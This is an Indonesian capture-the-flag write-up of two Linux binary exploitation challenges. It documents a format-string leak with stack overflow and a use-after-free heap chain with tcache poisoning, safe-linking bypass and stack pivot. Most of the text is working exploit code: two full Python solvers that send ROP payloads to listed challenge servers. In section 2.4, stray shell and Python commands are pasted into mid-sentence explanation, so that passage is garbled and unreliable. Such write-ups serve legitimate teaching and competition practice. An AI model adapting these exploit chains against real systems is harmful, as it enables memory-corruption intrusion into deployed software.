KAPOLRI CUP 2026: Paradox & Cascade Analysis
Cascade & Paradox Pwn Write-up
polriCTF 2026
Category: Binary Exploitation
Target services:18.143.187.232:9003and18.143.187.232:9004
Ringkasan
Dua challenge ini sama-sama menyediakan binary PIE, libc.so.6, dan dynamic loader yang digunakan remote. Keduanya akhirnya diselesaikan dengan ROP untuk membaca flag.txt, tetapi primitive awalnya berbeda:
- Cascade: format-string leak, stack overflow, lalu ORW ROP di bawah seccomp.
- Paradox: use-after-free, libc/heap leak, safe-linking bypass, tcache poisoning ke
environ, overwrite return address, stack pivot, lalu ORW ROP.
Flag yang ditemukan:
Cascade: polriCTF26{n0_sh3ll_0nly_0rw_r0p_und3r_s3cc0mp}
Paradox: polriCTF26{th3_r34l_p4r4d0x_1s_m0r3_th4n_41_sl0p_wlwlwlwl}
1. Cascade Relay v4
1.1 Recon awal
Ekstrak arsip dan periksa binary:
unzip cascade.zip
file cascade libc.so.6 ld-linux-x86-64.so.2
readelf -W -l cascade | grep GNU_
readelf -h cascade | grep Type
nm -n cascade
strings -a -n 4 cascade
Hasil penting:
ELF 64-bit, x86-64
PIE enabled
NX enabled
Stack canary enabled
Full RELRO
Not stripped
String yang langsung menjelaskan tema challenge:
=== Cascade Relay v4 (sandboxed) ===
name>
hello,
seccomp
payload>
hanz: system('/bin/sh')? sayang, execve-nya kucekik seccomp. ORW aja ya.
Binary juga memuat decoy:
polriCTF26{n0t_th3_r34l_sh3ll_fl4g}
Jangan submit string tersebut. Itu hanya decoy_flag di .data.
1.2 Menjalankan binary dengan loader yang disediakan
Karena challenge menyertakan libc dan loader sendiri, jalankan seperti ini:
./ld-linux-x86-64.so.2 --library-path . ./cascade
1.3 Audit fungsi leaker
Disassembly:
objdump -d -M intel --disassemble=leaker cascade
Alur pentingnya adalah:
fgets(buf, 0xa0, stdin);
buf[strcspn(buf, "\n")] = 0;
printf("hello, ");
printf(buf); // vulnerability
Input pengguna diberikan langsung sebagai format string. Ini memberi arbitrary stack disclosure melalui %p atau positional specifier seperti %27$p.
Probe awal:
python3 - <<'PY' | ./ld-linux-x86-64.so.2 --library-path . ./cascade
print(' '.join(f'%{i}$p' for i in range(14, 40)))
print('A')
PY
Slot penting yang ditemukan:
%27$p -> stack canary
%17$p -> pointer ke libc
%29$p -> return address di PIE, juga dapat dipakai untuk identifikasi mapping
%31$p -> pointer stack
Leak %17$p menunjuk ke libc + 0x8ce70, sehingga:
libc_base = leak_17 - 0x8ce70
Canary pada %27$p memiliki byte rendah 00, sesuai bentuk stack canary x86-64.
1.4 Audit overflow pada main
Disassembly main menunjukkan:
lea rsi, [rsp+0xa0]
mov edx, 0x200
xor edi, edi
call read
Binary membaca 0x200 byte ke buffer yang letaknya hanya 0x48 byte sebelum canary. Layout yang terverifikasi:
buffer : 72 byte
stack canary : 8 byte
a saved slot : 8 byte
saved RIP : ROP chain
Payload dasar:
payload = b'A' * 72
payload += p64(canary)
payload += p64(0)
payload += rop_chain
1.5 Kenapa system('/bin/sh') bukan solusi
main memasang seccomp sebelum memanggil leaker() dan membaca payload. Hint binary secara eksplisit mengatakan bahwa execve diblokir. Karena itu ret2libc ke system('/bin/sh') tidak cocok.
Strategi yang sesuai adalah ORW:
open("flag.txt", O_RDONLY)read(fd, buffer, 0x100)write(1, buffer, 0x100)
1.6 Gadget dan symbol libc
Dari libc yang disediakan:
pop rdi ; ret libc + 0x2a9b7
pop rsi ; ret libc + 0x29e29
pop rdx ; pop rbx ; ret libc + 0x91845
pop rax ; ret libc + 0x44386
syscall ; ret libc + 0x926e2
xchg eax, edi ; ret libc + 0x17d1f6
read libc + 0x1072b0
write libc + 0x107d10
open() mengembalikan file descriptor di rax. Jangan mengasumsikan descriptor selalu 3. Gadget berikut memindahkan hasilnya ke argumen pertama read():
xchg eax, edi ; ret
1.7 Solver Cascade
#!/usr/bin/env python3
import re, socket, struct, time
HOST, PORT = '18.143.187.232', 9003
p64 = lambda x: struct.pack('<Q', x)
def recvuntil(s, marker):
data = b''
while marker not in data:
data += s.recv(4096)
return data
s = socket.create_connection((HOST, PORT))
recvuntil(s, b'name> ')
s.sendall(b'%27$p|%17$p\n')
out = recvuntil(s, b'payload> ')
canary, leak = map(
lambda x: int(x, 16),
re.search(rb'hello, (0x\w+)\|(0x\w+)', out).groups()
)
libc = leak - 0x8ce70
pop_rdi = libc + 0x2a9b7
pop_rsi = libc + 0x29e29
pop_rdx_rbx = libc + 0x91845
pop_rax = libc + 0x44386
syscall_ret = libc + 0x926e2
xchg_eax_edi = libc + 0x17d1f6
read = libc + 0x1072b0
write = libc + 0x107d10
bss = libc + 0x1e9000
chain = [
# read(0, bss, 16), untuk memasukkan "flag.txt"
pop_rdi, 0,
pop_rsi, bss,
pop_rdx_rbx, 16, 0,
read,
# open("flag.txt", 0) via syscall 2
pop_rax, 2,
pop_rdi, bss,
pop_rsi, 0,
syscall_ret,
# fd hasil open: eax -> edi
xchg_eax_edi,
# read(fd, bss+0x100, 0x100)
pop_rsi, bss + 0x100,
pop_rdx_rbx, 0x100, 0,
read,
# write(1, bss+0x100, 0x100)
pop_rdi, 1,
pop_rsi, bss + 0x100,
pop_rdx_rbx, 0x100, 0,
write,
]
payload = b'A' * 72
payload += p64(canary)
payload += p64(0)
payload += b''.join(map(p64, chain))
s.sendall(payload)
time.sleep(0.2)
s.sendall(b'flag.txt\0'.ljust(16, b'\0'))
s.shutdown(socket.SHUT_WR)
result = b''
while True:
part = s.recv(4096)
if not part:
break
result += part
print(result.split(b'\0')[0].decode(errors='replace'))
Output remote:
polriCTF26{n0_sh3ll_0nly_0rw_r0p_und3r_s3cc0mp}
1.8 Hal yang sempat bikin gagal
Menghitung libc dari %29$p
%29$p adalah pointer PIE, bukan pointer libc. Menguranginya dengan offset libc menghasilkan base yang salah dan ROP langsung crash.
Memanggil wrapper open()
Pada sandbox, syscall langsung lebih mudah dikontrol. pop rax; ret, syscall number 2, lalu syscall; ret memberi primitive yang jelas.
Mengasumsikan fd selalu 3
Pada pengujian tertentu memang sering 3, tetapi solusi robust harus memakai return value open(). Gadget xchg eax, edi; ret menyelesaikan masalah ini.
2. Paradox Object Cache
2.1 Recon awal
unzip paradox.zip
file paradox libc.so.6 ld-linux-x86-64.so.2
readelf -W -l paradox | grep GNU_
readelf -h paradox | grep Type
nm -n paradox
strings -a -n 4 paradox
Proteksi:
PIE enabled
NX enabled
Stack canary enabled
Full RELRO
Not stripped
Menu:
1) alloc
2) free
3) edit
4) view
5) exit
Hint binary:
__free_hook udah tiada
_exit gak nge-flush apa-apa
FSOP? mati
sisanya cuma heap + return address
Decoy flag:
polriCTF26{fr33d_ch4nk_g4rb4g3_n0t_th3_fl4g}
2.2 Struktur global
Symbol yang relevan:
g_done @ PIE + 0x40a0
sizes @ PIE + 0x40c0
chunks @ PIE + 0x4140
Terdapat 16 slot object. Ukuran alokasi dibatasi hingga 0x500 byte.
Secara konseptual:
void *chunks[16];
size_t sizes[16];
2.3 Vulnerability: use-after-free
Pada opsi free, binary memanggil:
free(chunks[idx]);
Tetapi pointer dan ukuran tidak dibersihkan:
chunks[idx] = NULL; // tidak ada
sizes[idx] = 0; // tidak ada
Akibatnya slot yang sudah dibebaskan masih dapat dipakai oleh:
edit -> write ke freed chunk
view -> read dari freed chunk
free -> double free jika kondisi allocator mengizinkan
Ini memberi primitive UAF read/write yang sangat kuat.
2.4 Libc leak dari unsorted bin
Alokasikan chunk besar dan guard chunk agar chunk besar tidak bergabung dengan top chunk:
alloc(0, 0x500)
alloc(1, 0x20)
free(0)
view(0)
readelf -Ws libc.so.6 | grep ’ environ@@|__environ@@’; objdump -d -M intel —disassemble=main paradox;
Chunk 0x500 masuk unsorted bin. Dua qword awal user data berisi pointer fd dan bk ke main_arena.
Leak yang diperoleh berada pada: b=open(‘libc.so.6’,‘rb’).read();print(hex(b.find(b’\x5c\xc3’)))
libc + 0x1e7b20
Maka:
libc_base = u64(view(0)[:8]) - 0x1e7b20
2.5 Safe-linking dan heap leak
Pada glibc modern, pointer next tcache disimpan dengan safe-linking:
encoded_next = real_next ^ (chunk_address >> 12)
Gunakan dua chunk berukuran sama:
alloc A, 0x80
alloc B, 0x80
free A
free B
view B
Tcache list menjadi:
B -> A
Karena chunk berurutan, jarak user pointer untuk request 0x80 adalah 0x90:
B = A + 0x90
encoded = A ^ (B >> 12)
A dapat direkonstruksi dengan fixed-point iteration:
def reveal(encoded, delta):
address = encoded
for _ in range(8):
address = encoded ^ ((address + delta) >> 12)
return address
Untuk size class request 0x80:
A = reveal(encoded, 0x90)
B = A + 0x90
key = B >> 12
2.6 Tcache poisoning ke environ
Libc mengekspor:
environ / __environ @ libc + 0x1eee28
environ berisi pointer ke stack. Untuk meminta malloc() mengembalikan pointer dekat environ, overwrite B->next melalui UAF:
poisoned = target ^ (B >> 12)
edit(B, p64(poisoned))
Target harus memenuhi alignment tcache. environ berakhiran ...28, sehingga gunakan:
target = environ - 0x18
Target ini 16-byte aligned, dan nilai environ berada pada offset 0x18 dari hasil alokasi.
malloc #1 -> B
malloc #2 -> environ - 0x18
view #2, bytes [0x18:0x20] -> stack pointer
Kenapa bukan environ - 8? Ketika chunk keluar dari tcache, allocator menulis ulang metadata awal chunk. Jika pointer penting ditempatkan tepat pada area metadata tersebut, leak dapat berubah menjadi nol. Meletakkan environ pada offset 0x18 menghindari clobber tersebut.
2.7 Menentukan saved return address
Dari pengujian lokal dengan libc dan loader challenge, environ relatif terhadap saved return address milik run():
saved RIP run = environ - 0x140
Agar alokasi poisoned memberi ruang 8 byte sebelum saved RIP, target yang digunakan:
stack_target = environ - 0x148
Isi chunk hasil poisoning:
offset 0x00 : padding
offset 0x08 : saved RIP
offset berikutnya: ROP chain
2.8 Poison size class kedua ke stack
Gunakan size class lain agar tidak bentrok dengan tcache 0x90 sebelumnya:
alloc(6, 0xa0)
alloc(7, 0xa0)
free(6)
free(7)
view(7)
Chunk spacing untuk request 0xa0 adalah 0xb0:
A2 = reveal(encoded2, 0xb0)
B2 = A2 + 0xb0
key2 = B2 >> 12
Poison:
edit(7, p64(stack_target ^ key2))
alloc(8, 0xa0) # mengambil B2
alloc(9, 0xa0) # mengembalikan stack_target
Sekarang edit(9, ...) menulis ke stack frame run().
2.9 Kenapa perlu stack pivot
Ukuran edit dibatasi oleh ukuran slot, sehingga ruang di sekitar return address tidak cukup nyaman untuk seluruh ORW chain sekaligus. Solusi dibuat dua tahap.
Stage 1
Overwrite return address dengan chain pendek:
read(0, libc_bss, 0x300)
pop rsp ; ret
libc_bss
Gadget:
pop rsp ; ret = libc + 0x2861a
Stage 2
Setelah menu exit, run() kembali ke stage 1. Stage 1 membaca chain besar ke .bss libc lalu memindahkan rsp ke sana.
Stage 2 melakukan:
open("flag.txt", O_RDONLY)
read(returned_fd, buffer, 0x100)
write(1, buffer, 0x100)
Return value open kembali dipindahkan dari eax ke edi memakai:
xchg eax, edi ; ret
2.10 Solver Paradox
#!/usr/bin/env python3
import socket, struct, time
HOST, PORT = '18.143.187.232', 9004
p64 = lambda x: struct.pack('<Q', x)
s = socket.create_connection((HOST, PORT))
s.settimeout(5)
def recvuntil(marker):
data = b''
while marker not in data:
data += s.recv(4096)
return data
def sendline(value):
s.sendall((str(value) + '\n').encode())
def alloc(idx, size):
sendline(1)
recvuntil(b'idx> ')
sendline(idx)
recvuntil(b'size> ')
sendline(size)
recvuntil(b'> ')
def free(idx):
sendline(2)
recvuntil(b'idx> ')
sendline(idx)
recvuntil(b'> ')
def edit(idx, data):
sendline(3)
recvuntil(b'idx> ')
sendline(idx)
recvuntil(b'data> ')
s.sendall(data)
recvuntil(b'> ')
def view(idx):
sendline(4)
recvuntil(b'idx> ')
sendline(idx)
return recvuntil(b'> ')
def reveal(encoded, delta):
address = encoded
for _ in range(8):
address = encoded ^ ((address + delta) >> 12)
return address
recvuntil(b'> ')
# 1. Libc leak dari unsorted bin
alloc(0, 0x500)
alloc(1, 0x20)
free(0)
main_arena = int.from_bytes(view(0)[:8], 'little')
libc = main_arena - 0x1e7b20
print(f'[+] libc: {libc:#x}')
# 2. Poison tcache 0x90 ke environ-0x18
alloc(2, 0x80)
alloc(3, 0x80)
free(2)
free(3)
encoded = int.from_bytes(view(3)[:8], 'little')
chunk_a = reveal(encoded, 0x90)
chunk_b = chunk_a + 0x90
key = chunk_b >> 12
environ = libc + 0x1eee28
target = environ - 0x18
edit(3, p64(target ^ key))
alloc(4, 0x80)
alloc(5, 0x80)
stack = int.from_bytes(view(5)[0x18:0x20], 'little')
print(f'[+] environ: {stack:#x}')
# 3. Poison tcache 0xb0 ke saved RIP run-8
alloc(6, 0xa0)
alloc(7, 0xa0)
free(6)
free(7)
encoded = int.from_bytes(view(7)[:8], 'little')
chunk_a = reveal(encoded, 0xb0)
chunk_b = chunk_a + 0xb0
key = chunk_b >> 12
target = stack - 0x148
edit(7, p64(target ^ key))
alloc(8, 0xa0)
alloc(9, 0xa0)
# 4. Gadget dan stage 1
pop_rdi = libc + 0x2a9b7
pop_rsi = libc + 0x29e29
pop_rdx_rbx = libc + 0x91845
pop_rax = libc + 0x44386
syscall_ret = libc + 0x926e2
xchg_eax_edi = libc + 0x17d1f6
pop_rsp = libc + 0x2861a
read = libc + 0x1072b0
write = libc + 0x107d10
bss = libc + 0x1f2000
stage1 = p64(0) + b''.join(map(p64, [
pop_rdi, 0,
pop_rsi, bss,
pop_rdx_rbx, 0x300, 0,
read,
pop_rsp, bss,
]))
edit(9, stage1)
# Return dari run(), masuk ke stage 1
sendline(5)
# 5. Stage 2 ORW
filename = bss + 0x180
outbuf = bss + 0x200
stage2 = b''.join(map(p64, [
pop_rax, 2,
pop_rdi, filename,
pop_rsi, 0,
syscall_ret,
xchg_eax_edi,
pop_rsi, outbuf,
pop_rdx_rbx, 0x100, 0,
read,
pop_rdi, 1,
pop_rsi, outbuf,
pop_rdx_rbx, 0x100, 0,
write,
]))
stage2 = stage2.ljust(0x180, b'X') + b'flag.txt\0'
time.sleep(0.2)
s.sendall(stage2)
s.shutdown(socket.SHUT_WR)
result = b''
while True:
try:
part = s.recv(4096)
except socket.timeout:
break
if not part:
break
result += part
print(result.split(b'\0')[0].decode(errors='replace'))
Output remote:
bye
polriCTF26{th3_r34l_p4r4d0x_1s_m0r3_th4n_41_sl0p_wlwlwlwl}
2.11 Hal yang sempat bikin gagal
Free chunk besar tanpa guard
Jika chunk besar berada tepat sebelum top chunk, allocator dapat menggabungkannya dengan top dan user data tidak berisi unsorted-bin pointer yang diharapkan. Guard allocation sesudah chunk besar mencegah konsolidasi itu.
Menargetkan environ - 8
Walaupun aligned, tcache allocation membersihkan atau menulis metadata awal hasil alokasi. Nilai environ ikut ter-clobber dan leak terbaca nol. environ - 0x18 menjaga pointer pada offset 0x18.
Mengabaikan safe-linking
Menulis alamat target mentah ke tcache next menyebabkan allocator mendeteksi pointer invalid. Nilai yang benar adalah:
target ^ (address_of_freed_chunk >> 12)
Menulis chain terlalu besar langsung ke stack
Slot poisoned hanya memberi write terbatas. Gunakan stage 1 pendek untuk read() chain besar ke .bss, lalu pop rsp; ret untuk pivot.
3. Kesimpulan
Cascade
Exploit chain:
format string
-> leak canary + libc
-> stack overflow
-> ORW ROP di bawah seccomp
-> flag.txt
Paradox
Exploit chain:
UAF view pada unsorted chunk
-> libc leak
-> UAF tcache leak
-> safe-linking bypass
-> poison ke environ
-> stack leak
-> poison ke saved RIP
-> stage-1 read + stack pivot
-> stage-2 ORW
-> flag.txt
Kedua challenge menekankan hal yang sama: jangan berhenti pada primitive pertama. Leak, arbitrary allocation, overwrite return address, dan ROP harus dirangkai secara konsisten sampai menghasilkan primitive baca file yang stabil.